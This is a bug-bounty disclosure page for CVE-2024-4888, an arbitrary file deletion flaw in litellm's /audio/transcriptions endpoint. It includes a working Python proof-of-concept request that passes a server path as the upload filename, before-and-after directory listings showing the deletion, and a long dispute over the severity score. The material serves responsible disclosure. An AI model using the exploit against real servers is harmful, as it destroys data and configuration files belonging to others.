

Arbitrary file delete in berriai/litellm



Valid

Reported on Apr 12th 2024

Description

Any user can delete an arbitraty file on server.

The vulnerable endpoint is `/audio/transcriptions`

This is the vulnerable code :

```
os.remove(file.filename) # Delete the saved file
```

PoC

```

root@LAPTOP-TI808CC0: ls -lha /
total 2.2M
drwxr-xr-x 22 root root 4.0K Apr 11 19:58 .
drwxr-xr-x 22 root root 4.0K Apr 11 19:58 ..
drwxr-xr-x 3 root root 4.0K Jan 11 20:28 Docker
-rw-r--r-- 1 root root 18 Apr 11 19:58 IMPORTANTFILE.txt
drwxr-xr-x 3 root root 4.0K Mar 16 00:50 app
lrwxrwxrwx 1 root root 7 Nov 22 22:36 bin -> usr/bin
drwxr-xr-x 2 root root 4.0K Apr 18 2022 boot
drwxr-xr-x 16 root root 3.5K Apr 11 19:38 dev
drwxr-xr-x 102 root root 4.0K Apr 11 19:57 etc
drwxr-xr-x 2 root root 4.0K Apr 18 2022 home
-rwxrwxrwx 1 root root 2.1M Dec 1 09:34 init
lrwxrwxrwx 1 root root 7 Nov 22 22:36 lib -> usr/lib
lrwxrwxrwx 1 root root 9 Nov 22 22:36 lib32 -> usr/lib32
lrwxrwxrwx 1 root root 9 Nov 22 22:36 lib64 -> usr/lib64
lrwxrwxrwx 1 root root 10 Nov 22 22:36 libx32 -> usr/libx32
drwx----- 2 root root 16K Jan 11 20:17 lost+found
drwxr-xr-x 2 root root 4.0K Nov 22 22:36 media
drwxr-xr-x 9 root root 4.0K Feb 28 14:05 mnt
drwxr-xr-x 2 root root 4.0K Nov 22 22:36 opt
dr-xr-xr-x 270 root root 0 Apr 11 19:38 proc
drwx----- 24 root root 4.0K Apr 11 19:44 root
drwxr-xr-x 22 root root 640 Apr 11 19:38 run
lrwxrwxrwx 1 root root 8 Nov 22 22:36/sbin -> usr/sbin
drwxr-xr-x 11 root root 4.0K Feb 14 00:12 snap
drwxr-xr-x 2 root root 4.0K Nov 22 22:36 srv
dr-xr-xr-x 11 root root 0 Apr 11 19:38 sys
drwxr-xr-x 5 root root 4.0K Feb 2 03:17 tamere
drwxrwxrwt 11 root root 12K Apr 11 19:48 tmp
drwxr-xr-x 14 root root 4.0K Nov 22 22:36 usr
drwxr-xr-x 14 root root 4.0K Feb 2 03:11 var

```

```

pip3 install 'litellm[proxy]'
litellm --model huggingface/bigcode/starcoder
# Uvicorn running on http://0.0.0.0:4000 (Press CTRL+C to quit)

```

Now run the following script

```

import requests

def upload_file(api_key):

    header = {
        "Authorization": f"Bearer {api_key}"
    }

    files = {
        'file': ('/IMPORTANTFILE.txt', '/IMPORTANTFILE.txt', 'text/plain'),
    }

    response = requests.post('http://localhost:4000/audio/transcriptions', files=fi
    print(response.text)

```

```
upload_file("apikeyhere")
```

```
python3 test.py
```

```
#...
```

```
ls -lha /
```

```
# the file is deleted
```

```
root@LAPTOP-TI808CC0: ls -lha /
total 2.2M
drwxr-xr-x 22 root root 4.0K Apr 11 20:01 .
drwxr-xr-x 22 root root 4.0K Apr 11 20:01 ..
drwxr-xr-x  3 root root 4.0K Jan 11 20:28 Docker
drwxr-xr-x  3 root root 4.0K Mar 16 00:50 app
lrwxrwxrwx  1 root root    7 Nov 22 22:36 bin -> usr/bin
drwxr-xr-x  2 root root 4.0K Apr 18 2022 boot
drwxr-xr-x 16 root root 3.5K Apr 11 19:38 dev
drwxr-xr-x 102 root root 4.0K Apr 11 20:01 etc
drwxr-xr-x  2 root root 4.0K Apr 18 2022 home
-rwxrwxrwx  1 root root 2.1M Dec  1 09:34 init
lrwxrwxrwx  1 root root    7 Nov 22 22:36 lib -> usr/lib
lrwxrwxrwx  1 root root    9 Nov 22 22:36 lib32 -> usr/lib32
lrwxrwxrwx  1 root root    9 Nov 22 22:36 lib64 -> usr/lib64
lrwxrwxrwx  1 root root   10 Nov 22 22:36 libx32 -> usr/libx32
drwx----- 2 root root 16K Jan 11 20:17 lost+found
drwxr-xr-x  2 root root 4.0K Nov 22 22:36 media
drwxr-xr-x  9 root root 4.0K Feb 28 14:05 mnt
drwxr-xr-x  2 root root 4.0K Nov 22 22:36 opt
dr-xr-xr-x 271 root root    0 Apr 11 19:38 proc
drwx----- 24 root root 4.0K Apr 11 20:00 root
drwxr-xr-x 22 root root 640 Apr 11 19:38 run
lrwxrwxrwx  1 root root    8 Nov 22 22:36 sbin -> usr/sbin
drwxr-xr-x 11 root root 4.0K Feb 14 00:12 snap
drwxr-xr-x  2 root root 4.0K Nov 22 22:36 srv
dr-xr-xr-x 11 root root    0 Apr 11 19:38 sys
drwxr-xr-x  5 root root 4.0K Feb  2 03:17 tamere
drwxrwxrwt 11 root root 12K Apr 11 19:48 tmp
drwxr-xr-x 14 root root 4.0K Nov 22 22:36 usr
drwxr-xr-x 14 root root 4.0K Feb  2 03:11 var
```

Impact

Any user can delete an arbitrary file on server. We can imagine deleting ssh key, sqlite database, configuration files...

⚙️ We are processing your report and will contact the **berriai/litellm** team within 24 hours. 2 years ago



✎️ **huntr-helper** modified the Severity from Critical (10) to Critical (9.1) 2 years ago

✉️ We have contacted a member of the **berriai/litellm** team and are waiting to hear back 2 years ago

✉️ We have sent a follow up to the **berriai/litellm** team. We will try again in 4 days. 2 years ago



Ishaan Jaff commented 2 years ago

Maintainer

Can you show me how you would execute this on a deployed proxy - try it here:
<https://litellm-main-v1-35-1-dev2.onrender.com/>



A **berriai/litellm** maintainer has acknowledged this report 2 years ago



The scheduled publication date was automatically extended from 28th May 2024 to 4th Jun 2024 due to the maintainers acknowledgement of the report 2 years ago



Ishaan Jaff modified the Severity from Critical (9.1) to Low (2.4) 2 years ago



CodeVigilante modified the report 2 years ago



CodeVigilante commented 2 years ago

Researcher

Hello, I need the instance password in order to create an api key. If your intention is to show that I can't exploit the vulnerability because I can't authenticate myself, that doesn't mean that your application isn't vulnerable. I've just looked at your answers on other people's reports, and just because a vulnerability requires authentication doesn't mean it's invalid.

Example: <https://huntr.com/bounties/c114c03e-3348-450f-88f7-538502047bcc>
<https://huntr.com/bounties/fb09a352-1016-4481-ae88-7460e2b6062b>
<https://huntr.com/bounties/8978ab27-710c-44ce-bfd8-a2ea416dc786>
<https://huntr.com/bounties/fe7d711e-3bf0-4884-9acc-167649c1f9a2> etc.. etc...

I also invite you to take a look at huntr's guidelines on out-of-scope:
<https://huntr.com/guidelines>

When you deploy an application, you don't necessarily want authenticated users to be able to read, modify or delete resources on the server.

Let's take a look at the code:

```
os.remove(file.filename)
```

This code obviously contains a vulnerability, whether authentication is required or not (`file.filename` comes from a user input).

I sincerely think you should re-evaluate your position about what is a vulnerability and what is not.

Best regards, Code Vigilante



Dan McInerney modified the Severity from Critical (9.9) to Medium (6.5) 2 years ago



CodeVigilante modified the report 2 years ago



CodeVigilante commented 2 years ago

Researcher

Hello, I saw that you modified the CVSS score, can you explain why you put 6.1 in the score when for exactly the same exploit you put 8.1? [8.1 report](#)



CodeVigilante commented 2 years ago

Researcher

So can you explain why you don't use the same CVSS score depending on the moderator?

hours, 9 days ago

huntr-helper modified the Severity from Critical (10) to Critical (9.1) 8 days ago

We have contacted a member of the **berriai/litellm** team and are waiting to hear back 8 days ago



Dan McInerney modified the Severity from Medium (6.5) to High (8.1) 2 years ago



Ishaan Jaff commented 2 years ago

Maintainer

Fixed here: <https://github.com/BerriAI/litellm/pull/3193>



Ishaan Jaff modified the Severity from High (8.1) to High (7.3) 2 years ago

★ The researcher has received a minor penalty to their credibility for miscalculating the severity: -1



Ishaan Jaff has marked this vulnerability as informative 2 years ago

closing since resolved

\$ The disclosure bounty has been dropped ✖

\$ The fix bounty has been dropped ✖

★ The researcher's credibility has not been affected



Ishaan Jaff commented 2 years ago

Maintainer

User interaction is required since the Admin would need to generate an API key for a user to access the proxy. Only after the user can make a request to the proxy can a request to `/audio/transcriptions` be made

A huntr admin reset this report to a pending state. 2 years ago

Marcello modified the Severity from High (7.3) to Medium (6.1) 2 years ago

★ The researcher has received a minor penalty to their credibility for miscalculating the severity: -1

✓ **Marcello** validated this vulnerability 2 years ago

\$ **codevigilanteofficial** has been awarded the disclosure bounty ✓

\$ The fix bounty is now up for grabs

★ The researcher's credibility has increased: +7

🔒 **CVE-2024-4888** assigned to this report. 2 years ago

✎ **Marcello** modified the Severity from Medium (6.1) to Medium (6.5) 2 years ago



CodeVigilante commented 2 years ago

Researcher

Hello @Marcello, why did you set the required privileges to "high" when you don't need an administrator account, just an api key that can be created by a normal user? Best regards, Code Vigilante

⚠ We have sent a warning to the **berriai/litellm** team to inform them that this report will be published in 48 hours 2 years ago

📢 This vulnerability has now been published 2 years ago

🔒 **CVE-2024-4888** has now been published 2 years ago

✉ We have notified the **berriai/litellm** maintainers about this report in their weekly follow-up a year ago

[Sign in](#) to join this conversation

CVE

CVE-2024-4888

Published

Vulnerability Type

CWE-862: Missing Authorization

Severity

Medium (6.5)

Attack vector	Network
Attack complexity	Low
Privileges required	High
User interaction	None
Scope	Unchanged

ConfidentialityNone

IntegrityHigh

AvailabilityHigh

Open in visual CVSS calculator

Registry

Pypi

Affected Version

latest

Visibility

Public

Status

Awaiting fix

Disclosure Bounty

\$125

Fix Bounty

\$31.25

Found by



CodeVigilante

@codevigilanteoffici...

LIGHTWEIGHT

Supported by [Palo Alto Networks](#) and Prisma AIRS, leading the way to greater AI security.

